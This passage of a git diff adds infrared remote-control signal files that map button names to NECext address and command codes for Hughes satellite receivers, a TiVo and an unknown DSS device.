00 +# +name: 5 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2C 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2D 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2E 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2F 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 30 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 31 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 32 00 00 00 +# +name: ENTER/LAST +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 33 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 33 00 00 00 +# +name: ENTER_LAST +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 33 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 36 00 00 00 +# +name: RATIO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 44 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 45 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 46 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/1,-1.ir new file mode 100644 index 000000000..649a312a7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/1,-1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: VOL._UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: VOL._DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/12,-1.ir new file mode 100644 index 000000000..365969507 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/12,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 09 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0D 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0D 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0E 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0E 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 11 00 00 00 +# +name: DASH +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 12 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 13 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 20 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 21 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 22 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 23 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 24 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 25 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 25 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 26 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 27 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 28 00 00 00 +# +name: ACTIVE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 29 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2A 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2E 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5B 00 00 00 +# +name: FORMAT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 73 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/12,251.ir b/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/12,251.ir new file mode 100644 index 000000000..311d765dc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/12,251.ir @@ -0,0 +1,746 @@ +Filetype: IR signals file +Version: 1 +# +name: TV/DSS +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 01 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 01 00 00 00 +# +name: CH_^ +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 02 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 02 00 00 00 +# +name: CHAN_UP +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 02 00 00 00 +# +name: CH_V +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 03 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 03 00 00 00 +# +name: CHAN_DN +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 03 00 00 00 +# +name: 0_(ALL) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 04 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 04 00 00 00 +# +name: 1_(MOVIES) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 05 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 05 00 00 00 +# +name: 2_(SPORTS) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 06 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 06 00 00 00 +# +name: 3_(NEWS) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 07 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 07 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0A 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0B 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0C 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0D 00 00 00 +# +name: ACTION +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0E 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0F 00 00 00 +# +name: ALTERNATE_AUDIO +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0F 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0F 00 00 00 +# +name: V +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 10 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 10 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 10 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 10 00 00 00 +# +name: ARROW_DN +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 10 00 00 00 +# +name: FAV_(LIST) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 11 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 11 00 00 00 +# +name: FAVORITE +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 11 00 00 00 +# +name: FAV/LIST +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 11 00 00 00 +# +name: FAV1 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 11 00 00 00 +# +name: GUIDE_(MENU) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 12 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 12 00 00 00 +# +name: GUIDE/MENU +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 12 00 00 00 +# +name: GUILDE +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 12 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 13 00 00 00 +# +name: < +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 14 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 14 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 14 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 14 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 14 00 00 00 +# +name: DSS_POWER +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 15 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 15 00 00 00 +# +name: PREV_CH_(SERVICES) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 16 00 00 00 +# +name: PREV_CHANNEL +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 16 00 00 00 +# +name: PREVIOUS_CHANNEL +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 16 00 00 00 +# +name: PREV_CH +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 16 00 00 00 +# +name: PREV._CH_(SERVICES) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 16 00 00 00 +# +name: PREVIOUS_CHAN +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 16 00 00 00 +# +name: PREV._CHANNEL +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 16 00 00 00 +# +name: PREV_CHAN +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 16 00 00 00 +# +name: PREVIOUS_CH +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 16 00 00 00 +# +name: > +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 17 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 17 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 17 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 17 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 17 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 18 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 18 00 00 00 +# +name: CURSOR_SELECT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 18 00 00 00 +# +name: ^ +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 19 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 19 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 19 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 19 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 20 00 00 00 +# +name: SURF +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 2F 00 00 00 +# +name: CC/DATE +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 30 00 00 00 +# +name: RATIO +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 31 00 00 00 +# +name: ? +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 32 00 00 00 +# +name: DOT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 36 00 00 00 +# +name: --_ALPHA +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 36 00 00 00 +# +name: --- +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 36 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 36 00 00 00 +# +name: HD_OUTPUT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 37 00 00 00 +# +name: HD_OUTPUT_ON +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 37 00 00 00 +# +name: HDSD +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 37 00 00 00 +# +name: SD_OUTPUT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 38 00 00 00 +# +name: STANDARD_OUTPUT_ON +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 38 00 00 00 +# +name: 1080I +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 40 00 00 00 +# +name: 720P +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 41 00 00 00 +# +name: 480P +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 42 00 00 00 +# +name: 480I +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 43 00 00 00 +# +name: NATIVE +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 44 00 00 00 +# +name: VARIABLE_1 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 45 00 00 00 +# +name: VARIABLE_2 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 46 00 00 00 +# +name: VARIABLE_3 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 47 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 48 00 00 00 +# +name: SYSTEM_OFF +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 49 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 4A 00 00 00 +# +name: FACTORY_TEST +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 4B 00 00 00 +# +name: SPECIAL_DIAGNOSTICS +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 4C 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 70 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 73 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 74 00 00 00 +# +name: ALPHA +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 75 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 81 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 82 00 00 00 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 83 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 84 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 85 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 86 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 87 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 88 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 89 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 8A 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 8B 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 8C 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 8D 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 8F 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 90 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 92 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 93 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 94 00 00 00 +# +name: PR._CHANNEL +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 96 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 97 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 98 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 99 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: B6 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: F0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/133,48.ir b/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/133,48.ir new file mode 100644 index 000000000..41c54230b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/133,48.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: LIVE_TV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 11 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 13 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 36 00 00 00 +# +name: WINDOW +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 44 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 45 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 46 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/136,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/136,-1.ir new file mode 100644 index 000000000..4189d6975 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/136,-1.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: FF_>> +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 01 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 02 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 03 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 05 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 06 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 0F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/4,-1.ir new file mode 100644 index 000000000..69890c801 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/4,-1.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: VOL_^ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: VOL_V +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/60,178.ir b/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/60,178.ir new file mode 100644 index 000000000..eb6b2f52f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/60,178.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: INPUT +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 01 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 02 00 00 00 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 03 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 04 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 05 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 06 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 07 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 0A 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 0B 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 0C 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 0D 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 0F 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 10 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 12 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 13 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 14 00 00 00 +# +name: PR._CHANNEL +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 16 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 17 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 18 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 19 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 36 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 3C B2 00 00 +command: 70 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/71,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/71,-1.ir new file mode 100644 index 000000000..80481553c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hughes/Satellite/71,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 6A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 71 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/TiVo/133,48.ir b/assets/resources/infrared/_CSV-IRDB_/Hughes/TiVo/133,48.ir new file mode 100644 index 000000000..6537e1178 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hughes/TiVo/133,48.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: MENU +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 07 00 00 00 +# +name: LIVE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 11 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 13 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 14 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 15 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 16 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 17 00 00 00 +# +name: THUMBS_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 18 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 19 00 00 00 +# +name: THUMBS_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1A 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1F 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 20 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 21 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 22 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 23 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 24 00 00 00 +# +name: SLOWMO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 25 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 26 00 00 00 +# +name: ADVANCE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 27 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 28 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 29 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2A 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2B 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2C 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2D 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2E 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2F 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 30 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 31 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 32 00 00 00 +# +name: ENTER/LAST +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 33 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 36 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/Unknown_DSS/12,251.ir b/assets/resources/infrared/_CSV-IRDB_/Hughes/Unknown_DSS/12,251.ir new file mode 100644 index 000000000..7e8d1a6d5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hughes/Unknown_DSS/12,251.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 02 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 03 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 04 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 05 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 06 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0B 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0C FB 00 